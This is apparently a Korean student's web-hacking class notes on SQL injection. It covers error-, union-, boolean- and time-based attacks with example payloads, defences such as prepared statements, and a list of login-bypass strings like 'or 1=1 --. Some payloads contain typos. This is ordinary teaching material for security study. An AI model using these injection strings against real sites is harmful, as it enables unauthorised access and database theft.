본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[2주차]SQL Injection

by m_.9m 2021. 10. 20.

 

SQL Injection?

SQL Injection이란 사용자 입력값에 대한 필터링이 존재하지 않아(=검증 미흡) 발생하는 취약점이다.
인젝션 공격은 OWASP Top10 중 첫 번째에 속해있다.


종류 구분

- SQL Injection
- Error based SQL Injestion = 논리적 에러
- Blind SQL Injection
- Union SQL Injection
- Stored Procedure SQL Injection


1. Error based SQL Injetion


논리적 에러를 이용한 SQL injection은 가장 많이 쓰이고, 대중적인 공격기법이다. OR 1=1 라는 구문을 이용해 WHERE절을 모두 참으로 만들고, --를 넣어줌으로 뒤의 구문을 모두 주석처리해준다.

1) 과정 : SELECT * FROM User WHERE id = 'INPUT1' AND password = 'INPUT2'
+ 'OR 1=1 --'
2) 결과 값 : SELECT * FROM Users WHERE id = ' ' OR 1=1 --' AND password = 'INPUT2'
⇒ SELECT * FROM User

2. Union based SQL Injection


두 개의 퀴리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드입니다. 정상적인 쿼리문에 Union 키워드를 사용하여 인젝션에 성공하면 원하는 퀴리문을 실행할 수 있게 된다. Union 하는 두 테이블의 컬럼 수가 같아야하고 데이터 형이 같아야 한다.

1) 과정 : SELECT * FROM Board WHERE title LIKE '%INPUT%' OR contents '%INPUT%'
+ ' UNION SELECT null,id,passwd FROM Users --
2) 결과 값 : SELECT * FROM Board WHERE title LIKE % ' UNION SELECT null,id,passwd FROM Users --
%' AND contents '% UNION SELECT null,id,passwd FROM Users -- %'

3. Blind SQL Injection

- Boolean based injection

특정한 데이터를 전달받지 않고 단순히 참과 거짓의 정보만 알 수 있을 때 사용한다. 로그인 폼에 SQL injection이 가능하다고 했을 때, 서버가 응답하는 로그인 성공과 실패 메세지를 이용하여 DB의 테이블 정보 등을 추출해 낼 수 있다. 테이블 명을 조회하는 Iimit 코드와 ASCII로 테이블 명의 첫글자가 ascii값으로 조회되고 뒤의 100이라는 숫자를 변경해 가며 비교함으로서 단기간 내에 테이블 명을 알아낼 수 있다.


1) 과정 : SELECT * FROM Users WHERE id = 'INPUT' AND password = 'INPUT2'
+abc123' and ASCI(SUBSTR(SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 --
2) 결과 값 : SELECT * FROM Users WHERE id = 'abc123' and ASCI(SUBSTR(SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1),1,1)) > 100 -- 로그인이 될 때까지 시도
' AND password = 'INPUT2'


- time based SQL


특정 응답 대신에 참 혹은 거짓의 응답을 통해서 데이터베이스의 정보를 유추하는 기법이다. SLEEP와 BENCHMARK를 사용한다.

1) 과정 : SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'
+abc123' OR (LENGTH(CATABASE())=1 AND SLEEP(2)) --
2) 결과 값 : SELECT * FROM Users WHERE id = abc123' OR (LENGTH(CATABASE())=1 AND SLEEP(2)) --

예시는 데이터 베이스의 길이를 알아내는 구문으로 참이면 SLEEP이 동작하고 거짓이면 동작하지 않는다. 다른 방법으로 BENCHMARK나 WAIT를 사용할 수 있다.



4. stored Procedure SQL Injection
5. Mass SQL Injection

6. 대응방안


- 입력 값에 대한 검증: 공백 대신 의미없는 단어 치환
- Paepared Statement 구문 사용: DB가 미리 컴파일하여 실행하지 않고 대기
- Error Message 노출 금지: 오류 발생 시 사용자에게 보여줄 수 있는 페이지, 메세지 박스를 제작
- 웹 방화벽 사용

7. 인증 우회


보통은 로그인 페이지에서 진행되는 공격이고 SQL 쿼리문의 TRUE / FALSE의 논리적 연산 오류를 이용하여 로그인 인증 쿼리문이 무조건 TRUE의 결과 값이 나오게 하여 인증을 무력화시키는 방법. 인증우회 공격패턴은 퀴리의 결과를 무조건 참으로 만들 수 있는 쿼리라면 모두 해당된다.

'or 1 = 1 --
'or 1=1#
'or'dog'='dog'--
'or 2>1--


참조 사이트)
https://noirstar.tistory.com/264

 

SQL Injection 이란? (SQL 삽입 공격)

1. SQL Injection  1.1 개요 Ÿ   SQL Injection SQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작

noirstar.tistory.com


참고하면 좋을 영상)

https://www.youtube.com/watch?v=6VqzsvvCJAU

SQL 인젝션이해를 위한 기초

https://www.youtube.com/watch?v=bIoGQ04biDg

짧은 SQL Injection 설명